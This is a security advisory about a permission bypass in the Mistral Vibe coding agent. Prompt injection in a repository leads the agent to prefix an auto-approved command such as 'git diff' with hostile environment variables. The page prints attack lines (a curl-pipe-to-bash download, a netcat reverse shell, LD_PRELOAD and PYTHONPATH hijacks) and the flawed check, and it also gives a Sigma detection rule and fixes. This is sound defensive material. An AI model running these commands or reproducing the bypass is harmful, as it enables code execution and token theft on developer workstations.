Skip to content
Hermes Codex

CVE-2026-87987: Mistral Vibe Remote Code Execution via Environment Variable Assignment Stripping

HERMES

HERMES THREAT SCORE & ENVIRONMENT HOOK WEAPONIZATION

Target: Mistral Vibe Coding Agent (mistral-vibe)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v4.0 evaluates CVE-2026-87987 at a maximum 10.0 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 98 (CRITICAL). This reflects how omitting leading environment variable assignments in AST command nodes allows attackers to weaponize execution hooks in benign tools like git diff without prompting the user.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-87987: Mistral Vibe Remote Code Execution via Environment Variable Assignment StrippingVULNERABILITY

Connected Nodes: 4
Active Relationships (Outgoing)
→ affectsPRODUCTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-002.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-001: Direct System Prompt Override
92% VERY_HIGH

Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87987 weaponizes the agentic attack pattern formalized under AAP-001.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”
ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-87987Discovered by Esteban Tonglet (HiddenLayer)
Common Weakness EnumerationCWE-15 (External Control of Configuration), CWE-78 (Command Injection)Stripping/omitting AST variable_assignment nodes
Attack VectorIndirect Prompt Injection (AAP-002) / AAP-003Poisoned code repositories, CI/CD jobs, PR discussions
Vulnerable ComponentAST command processor in Mistral Vibe (vibe permission gate)Ignores environment variables when deciding auto-approval
Affected Versionsmistral-vibe < 1.1.0Default auto-approval configuration
Remediated Versionvibe >= 1.1.0Strictly validates and sanitizes all leading environment variables
Systemic ImpactFull remote code execution on developer workstationTotal takeover of development and deployment tokens

2. In-Depth Technical Decomposition & Root Cause

Section titled “2. In-Depth Technical Decomposition & Root Cause”

A. Inline Environment Variables in Bash

Section titled “A. Inline Environment Variables in Bash”

Bash grammar allows setting environment variables scoped specifically to the command invocation:

Terminal window
GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=diff.external GIT_CONFIG_VALUE_0='sh -c "id; curl http://c2/sh|bash"' git diff

When parsed by tree-sitter-bash, the resulting AST contains:

command
 ├── variable_assignment: "GIT_CONFIG_COUNT=1"
 ├── variable_assignment: "GIT_CONFIG_KEY_0=diff.external"
 ├── variable_assignment: "GIT_CONFIG_VALUE_0='sh -c "..."'"
 ├── name: command_name -> "git"
 └── argument: word -> "diff"

B. The Stripping Flaw in the Permission Engine

Section titled “B. The Stripping Flaw in the Permission Engine”

Mistral Vibe located the executable by finding the first command_name child in the AST:

# Vulnerable command validation in Mistral Vibe (pre-1.1.0)
def evaluate_command_authorization(command_node):
    # FLAW: Locates command_name, ignoring variable_assignment siblings!
    cmd_name = None
    for child in command_node.children:
        if child.type == "command_name":
            cmd_name = child.text.decode("utf-8")
            break


    # cmd_name is 'git'
    # Check if 'git diff' is safe -> Evaluated as AUTO-APPROVED!
    if cmd_name == "git" and is_safe_git_subcommand(command_node):
        return True # Auto-approve!

Because the validator did not inspect or restrict variable_assignment nodes, the presence of hostile environment variables had no impact on the authorization decision. Vibe passed the full command string to subprocess.run(..., shell=True). Git invoked the attacker-specified external diff binary (diff.external), yielding immediate code execution.

3. Attack Flow & Weaponization Scenarios

Section titled “3. Attack Flow & Weaponization Scenarios”
sequenceDiagram
    autonumber
    actor Attacker as Attacker (Git Repository)
    participant Agent as Mistral Vibe Coding Agent
    participant Gate as AST Permission Gate
    participant Bash as Host Shell
    participant Git as Git Binary
    participant Payload as Attacker Injected Hook


    Attacker->>Agent: Indirect prompt injection in repo code (AAP-002)
    Agent->>Gate: Command: GIT_CONFIG_COUNT=1 ... GIT_CONFIG_VALUE_0='evil' git diff
    Gate->>Gate: Identifies command_name: 'git' with argument: 'diff'
    Note over Gate: Ignores leading variables. Auto-approved!
    Gate->>Bash: Executes full raw string
    Bash->>Git: Launches git with injected environment variables
    Git->>Payload: Git diff triggers diff.external hook
    Payload->>Attacker: Spawns reverse shell / exfiltrates secrets!

High-Impact Exploitation Vectors

Section titled “High-Impact Exploitation Vectors”
  1. Git Configuration Hooks:
    Terminal window
    GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=diff.external GIT_CONFIG_VALUE_0='sh -c "nc -e /bin/bash 10.0.0.1 4444"' git diff
  2. Python Import Hijacking:
    Terminal window
    PYTHONPATH=/tmp/evil_modules python3 -m pytest
  3. Dynamic Linker Preloading:
    Terminal window
    LD_PRELOAD=/tmp/evil.so ls -la

Each of these relies on an auto-approved utility (git diff, pytest, ls) whose execution behavior is hijacked via inline environment variables.

4. Detection, Threat Hunting & DFIR Playbooks

Section titled “4. Detection, Threat Hunting & DFIR Playbooks”

A. Sigma Detection Rule

Section titled “A. Sigma Detection Rule”
title: Mistral Vibe Command Execution with Injected Environment Variables
id: 87987001-vibe-env-var-stripping-rce
status: experimental
description: Detects auto-approved utilities executed with malicious inline environment variables (GIT_CONFIG, LD_PRELOAD, PYTHONPATH).
references:
  - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    CommandLine|contains: 'vibe'
  selection_env:
    CommandLine|re: '(GIT_CONFIG_COUNT|GIT_CONFIG_VALUE|LD_PRELOAD|PYTHONPATH|BASH_ENV)\s*=\s*'
  condition: selection_parent and selection_env
level: critical

5. Defense, Hardening & Remediation

Section titled “5. Defense, Hardening & Remediation”
  1. Apply Official Patch: Upgrade to vibe >= 1.1.0. The patched engine strictly disallows or requires interactive user authorization whenever any inline environment variables are detected.
  2. Sanitize Environment: Execute agents within isolated execution envelopes that scrub dangerous environment variables before subshell invocation.
  3. Harden Git Configurations: Ensure system Git configurations reject unsafe external commands without verification.
  4. Deploy AgentThreat Studio Protections: Use AgentThreat Studio monitors to detect AAP-003: Tool Parameter Tampering and AAP-001: Context Boundary Violation.

6. Related Vulnerabilities & Cross-References

Section titled “6. Related Vulnerabilities & Cross-References”